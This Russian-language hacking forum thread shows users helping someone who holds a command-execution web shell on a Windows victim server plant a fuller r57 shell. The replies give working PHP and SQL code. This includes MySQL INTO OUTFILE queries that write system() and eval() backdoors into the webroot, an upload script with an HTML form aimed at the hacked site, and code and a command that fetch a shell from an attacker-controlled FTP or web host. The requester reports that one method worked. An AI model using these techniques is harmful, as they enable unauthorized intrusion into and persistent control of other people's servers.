Просмотр полной версии : Способы заливки файлов
Есть shell.php?cmd= .
Хотел залить более менее удобный шелл типа r57.
Всё что пришло в голову:
1)Заливка через FTP с поднятием на своём компе сервера, но не смог пока разобраться с авторизацией в slimftpd.
2)Расшарить папку
3)И пробовал записать построчно через echo (добавляются слэши перед кавычками в итоге скрипт не пашет)
Может кто нибудь предложить другие способы?
Сорри не уточнил.Дело происходит в винде
Если есть возможность выполнить пхп - через fopen(), да и многими другими функциями можно. Я так понял - шелл ты сам залил? Раз залил шелл - залей инклюд или тот же fopen() -> fwrite()
з.ы. вот ещё почитай про работу с фтп через командную строку - ttp://www.winblog.ru/net/1147765001-08020803.html
инклюд нельзя (
Можно про fopen() и fwrite() поподробнее?
Я пхп совсем не знаю ((
Попробуй через фтп вот так -
<?
// замени данные на свои
$host = "ftp.твой_фтп.ru"; // адрес твоего фтп
$port = 21; // порт, по дефолту он 21
$user = "login"; // логин
$passwrod = "password"; // пароль
$local_file = "/ftp/shell.php"; // файл на твоем фтп
$remote_file = "shell.php"; // файл на удаленной тачке
// дальше не трогай :)
$connect = ftp_connect($host, $port);
$done = ftp_login($connect, $user, $password);
if($done)
{
ftp_get($connect, $local_file, $remote_file, ftp_binary);
}
else
{
die();
}
?>
И не поленись прочесть вот это - ttp://www.winblog.ru/net/1147765001-08020803.html
если есть какая либо база на сайте попробуй приконнектиться к ней с удаленного шела и уже через базу залить шел
CREATE TABLE temptab1(
codetab TEXT
) TYPE=MYISaM;
INSERT INTO temptab1(codetab)
VALUES(
'<pre><body bgcolor=silver><? @system($_REQUEST["v"]); ?></body></pre>'
);
into dumpfile
select * into outfile '/Library/WebServer/Documents/123.php' from temptab1; flush logs;
думаю разберешься что куда ставить
Попробуй так:
shell.php?cmd=get http://site/r57.txt > C:\путь_до_www\r57.php
(по дефолту в C:\AppServ\www\)
"http://site/r57.txt " - сайт на котором лежит исходник шела в txt формате... (если будет в php формате многие выражения понерфяться, что соответственно приведёт к неработоспособности шела, поэтому используй изначально txt)
apollо
"get" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.
Я тоже об этом думал
heks
К сожалению нет.
bind-adress 127.0.0.1
n0ne
Если я правильно понял скрипт должен лежать на стороне жертвы.
Записать что то на черв можно только через shell.php <? system($_GET['cmd']); ?>, который я записал через phpmyadmin из-за того, что нельзя инклудить
n0ne
Если я правильно понял скрипт должен лежать на стороне жертвы.
Записать что то на черв можно только через shell.php <? system($_GET['cmd']); ?>, который я записал через phpmyadmin из-за того, что нельзя инклудить
Если шел получил через phpmyadmin, то попробуй залить тогда так:
сначала сделай запрос в phpmyadmin:
SELECT '<? move_uploaded_file($userfile, "C:/путь_до_www/name_shell.php"); ?>' into OUTFILE "C:/путь_до_www/uploadshell.php"
///// думаю понятно, что создасться файл uploadshell.php в директории www, который впоследствии и зальёт нам шел под именем name_shell.php
Далее создай простую форму примерно следующего содержания:
<FORM ENCTYPE="multipart/form-data" ACTION="http://site_hack/uploadshell.php" METHOD="POST">
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="100000">
Ага, отправить вот этот файлик: <INPUT NAME="userfile" TYPE="file">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
подправь только ACTION и всё....
Желаю удачи ;)
apollо
Зашибись сработало ))
попробуй через phpmyadmin всунуть вот это <?php eval($_GET[cmd]);?> в файл test.php
затем
test.php?cmd=$f=fopen($_GET[r],$_GET[rr]);$o=fopen($_GET[o],$_GET[oo]);while(!feof($f)){$row=fgets($f);fputs($o,$row);}&rr=r&oo=w+&r=http://www.yoursite.com/shell.txt&o=shell.php
ой)ты уже и так справился!"
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot